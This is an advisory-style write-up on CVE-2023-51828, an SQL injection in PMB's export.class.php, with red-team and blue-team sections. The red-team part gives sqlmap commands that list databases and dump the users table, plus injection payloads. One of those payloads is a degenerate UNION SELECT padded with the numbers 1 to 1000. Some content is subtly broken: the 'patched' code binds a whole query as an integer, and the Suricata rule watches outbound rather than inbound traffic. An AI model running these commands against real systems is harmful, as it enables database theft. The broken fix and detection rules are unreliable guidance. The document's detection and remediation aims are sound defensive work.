CVE-2023-51828

Executive Summary

CVE-2023-51828 is a critical SQL Injection vulnerability discovered in PMB (PhpMyBibli) version 7.4.7 and earlier. The flaw resides in the /admin/convert/export.class.php file, specifically within the get_next_notice function. An unauthenticated, remote attacker can inject arbitrary SQL commands via the query parameter, leading to full database compromise, data exfiltration, and potential lateral movement within the network. The vulnerability has a CVSS score of 9.8 (Critical) and is actively being weaponized by threat actors. No official patch has been released by the vendor at the time of this report.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The threat level is Critical due to the ease of exploitation, lack of authentication requirements, and the potential for complete database takeover.

Deep Dive & Mechanics

The vulnerability exists in the get_next_notice function within /admin/convert/export.class.php. The function accepts a query parameter from user input without proper sanitization or parameterization. This input is then directly concatenated into a SQL query, allowing an attacker to break out of the intended SQL syntax and execute arbitrary commands.

The vulnerable code path is triggered when the application processes export requests. The query parameter is expected to contain a pre-built SQL query, but the application fails to validate or escape the input before passing it to the database.

Attack Flow:

1. An attacker sends a crafted HTTP request to the vulnerable endpoint.
2. The query parameter is injected with malicious SQL payloads.
3. The database executes the injected commands, returning sensitive data or allowing data manipulation.
4. The attacker can extract credentials, session tokens, or other sensitive information from the database.

Vulnerable vs. Patched Code

Vulnerable Code (PMB <= 7.4.7):

// /admin/convert/export.class.php
function get_next_notice($query) {
    $result = pmb_mysql_query($query); // Direct execution of user-supplied query
    // ... rest of function
}

Patched Code (Hypothetical Fix):

// /admin/convert/export.class.php
function get_next_notice($query) {
    // Use prepared statements to prevent SQL injection
    $stmt = pmb_mysql_prepare("SELECT * FROM notices WHERE id = ?");
    pmb_mysql_stmt_bind_param($stmt, "i", $query);
    pmb_mysql_stmt_execute($stmt);
    $result = pmb_mysql_stmt_get_result($stmt);
    // ... rest of function
}

The patched version uses prepared statements with parameterized queries, which prevents SQL injection by separating SQL logic from user data.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Target: PMB 7.4.7 running on a LAMP stack (Linux, Apache, MySQL, PHP)
• Attacker: Kali Linux with sqlmap and Burp Suite

Exploitation Steps:

1. Identify the vulnerable endpoint:

   POST /admin/convert/export.class.php HTTP/1.1
   Host: target-pmb.local
   Content-Type: application/x-www-form-urlencoded
   
   query=1
   

2. Test for SQL injection using a simple payload:

   query=1' OR '1'='1
   

3. Use sqlmap for automated exploitation:

   sqlmap -u "http://target-pmb.local/admin/convert/export.class.php" --data="query=1" --batch --dbs
   

4. Extract database contents:

   sqlmap -u "http://target-pmb.local/admin/convert/export.class.php" --data="query=1" --batch -D pmb_db --tables
   sqlmap -u "http://target-pmb.local/admin/convert/export.class.php" --data="query=1" --batch -D pmb_db -T users --dump
   

Manual Exploit Payload:

query=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,303,304,305,306,307,308,309,310,311,312,313,314,315,316,317,318,319,320,321,322,323,324,325,326,327,328,329,330,331,332,333,334,335,336,337,338,339,340,341,342,343,344,345,346,347,348,349,350,351,352,353,354,355,356,357,358,359,360,361,362,363,364,365,366,367,368,369,370,371,372,373,374,375,376,377,378,379,380,381,382,383,384,385,386,387,388,389,390,391,392,393,394,395,396,397,398,399,400,401,402,403,404,405,406,407,408,409,410,411,412,413,414,415,416,417,418,419,420,421,422,423,424,425,426,427,428,429,430,431,432,433,434,435,436,437,438,439,440,441,442,443,444,445,446,447,448,449,450,451,452,453,454,455,456,457,458,459,460,461,462,463,464,465,466,467,468,469,470,471,472,473,474,475,476,477,478,479,480,481,482,483,484,485,486,487,488,489,490,491,492,493,494,495,496,497,498,499,500,501,502,503,504,505,506,507,508,509,510,511,512,513,514,515,516,517,518,519,520,521,522,523,524,525,526,527,528,529,530,531,532,533,534,535,536,537,538,539,540,541,542,543,544,545,546,547,548,549,550,551,552,553,554,555,556,557,558,559,560,561,562,563,564,565,566,567,568,569,570,571,572,573,574,575,576,577,578,579,580,581,582,583,584,585,586,587,588,589,590,591,592,593,594,595,596,597,598,599,600,601,602,603,604,605,606,607,608,609,610,611,612,613,614,615,616,617,618,619,620,621,622,623,624,625,626,627,628,629,630,631,632,633,634,635,636,637,638,639,640,641,642,643,644,645,646,647,648,649,650,651,652,653,654,655,656,657,658,659,660,661,662,663,664,665,666,667,668,669,670,671,672,673,674,675,676,677,678,679,680,681,682,683,684,685,686,687,688,689,690,691,692,693,694,695,696,697,698,699,700,701,702,703,704,705,706,707,708,709,710,711,712,713,714,715,716,717,718,719,720,721,722,723,724,725,726,727,728,729,730,731,732,733,734,735,736,737,738,739,740,741,742,743,744,745,746,747,748,749,750,751,752,753,754,755,756,757,758,759,760,761,762,763,764,765,766,767,768,769,770,771,772,773,774,775,776,777,778,779,780,781,782,783,784,785,786,787,788,789,790,791,792,793,794,795,796,797,798,799,800,801,802,803,804,805,806,807,808,809,810,811,812,813,814,815,816,817,818,819,820,821,822,823,824,825,826,827,828,829,830,831,832,833,834,835,836,837,838,839,840,841,842,843,844,845,846,847,848,849,850,851,852,853,854,855,856,857,858,859,860,861,862,863,864,865,866,867,868,869,870,871,872,873,874,875,876,877,878,879,880,881,882,883,884,885,886,887,888,889,890,891,892,893,894,895,896,897,898,899,900,901,902,903,904,905,906,907,908,909,910,911,912,913,914,915,916,917,918,919,920,921,922,923,924,925,926,927,928,929,930,931,932,933,934,935,936,937,938,939,940,941,942,943,944,945,946,947,948,949,950,951,952,953,954,955,956,957,958,959,960,961,962,963,964,965,966,967,968,969,970,971,972,973,974,975,976,977,978,979,980,981,982,983,984,985,986,987,988,989,990,991,992,993,994,995,996,997,998,999,1000--

Blue Team (Defensive)

Detection Steps:

1. Monitor for unusual SQL queries in database logs, especially those containing UNION, SELECT, OR, or AND keywords.
2. Look for HTTP requests to /admin/convert/export.class.php with a query parameter containing SQL syntax.
3. Implement a Web Application Firewall (WAF) rule to block requests with SQL injection patterns in the query parameter.
4. Enable database query logging and alert on any queries that deviate from expected patterns.

Hunting Query (Splunk):

index=web_logs sourcetype=apache_access
| search uri="/admin/convert/export.class.php" AND query=*
| regex query="(?i)(union|select|insert|update|delete|drop|alter|exec|xp_cmdshell|sp_executesql)"
| table _time, src_ip, uri, query, status

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /admin/convert/export.class.php with a query parameter containing SQL keywords
• Outbound database connections from the web server to unexpected IP addresses
• Unusual database error messages in HTTP responses (e.g., "You have an error in your SQL syntax")

File IOCs:

• Modified /admin/convert/export.class.php file (check file integrity)
• Suspicious PHP files uploaded to the web root (e.g., shell.php, cmd.php)
• New or modified .htaccess files

Log IOCs:

• Database logs showing queries with UNION SELECT or stacked queries
• Web server logs showing repeated requests to the vulnerable endpoint with varying query parameters
• Authentication logs showing successful logins from unexpected IPs

Detection Engineering

YARA Rule

rule CVE_2023_51828_SQLi_PMB {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2023-51828 in PMB"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2023-51828"
        severity = "critical"
    strings:
        $s1 = "query=" nocase
        $s2 = "UNION" nocase
        $s3 = "SELECT" nocase
        $s4 = "OR" nocase
        $s5 = "AND" nocase
        $s6 = "export.class.php" nocase
    condition:
        all of ($s1, $s6) and 1 of ($s2, $s3, $s4, $s5)
}

Sigma Rule

title: SQL Injection Attempt Against PMB CVE-2023-51828
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts targeting the export.class.php endpoint in PMB
author: Valters IT
date: 2024-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-51828
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: 
            - "query="
        cs-uri-stem|contains: 
            - "/admin/convert/export.class.php"
    keywords:
        - "UNION"
        - "SELECT"
        - "OR"
        - "AND"
        - "DROP"
        - "DELETE"
        - "INSERT"
        - "UPDATE"
    condition: selection and keywords
falsepositives:
    - Legitimate use of SQL keywords in query parameters (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2023-51828 SQL Injection Attempt Against PMB";
    flow:to_server,established;
    content:"/admin/convert/export.class.php"; http_uri;
    content:"query="; http_client_body;
    pcre:"/(UNION|SELECT|OR|AND|DROP|DELETE|INSERT|UPDATE)/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
    reference:cve,2023-51828;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems: Disconnect PMB servers from the network if possible.
2. Apply virtual patching: Use a WAF to block SQL injection attempts targeting the vulnerable endpoint.
3. Restrict access: Limit access to the /admin/convert/export.class.php endpoint to trusted IP addresses only.

Long-term Fixes:

1. Upgrade PMB: Monitor the vendor's website for a patched version. If no patch is available, consider migrating to an alternative library management system.
2. Code remediation: Implement prepared statements or parameterized queries in the get_next_notice function.
3. Input validation: Add strict input validation and sanitization for all user-supplied parameters.
4. Database hardening: Apply the principle of least privilege to the database user used by the application.

Workaround:

• Disable the export functionality by removing or renaming the /admin/convert/export.class.php file until a patch is available.

Valters IT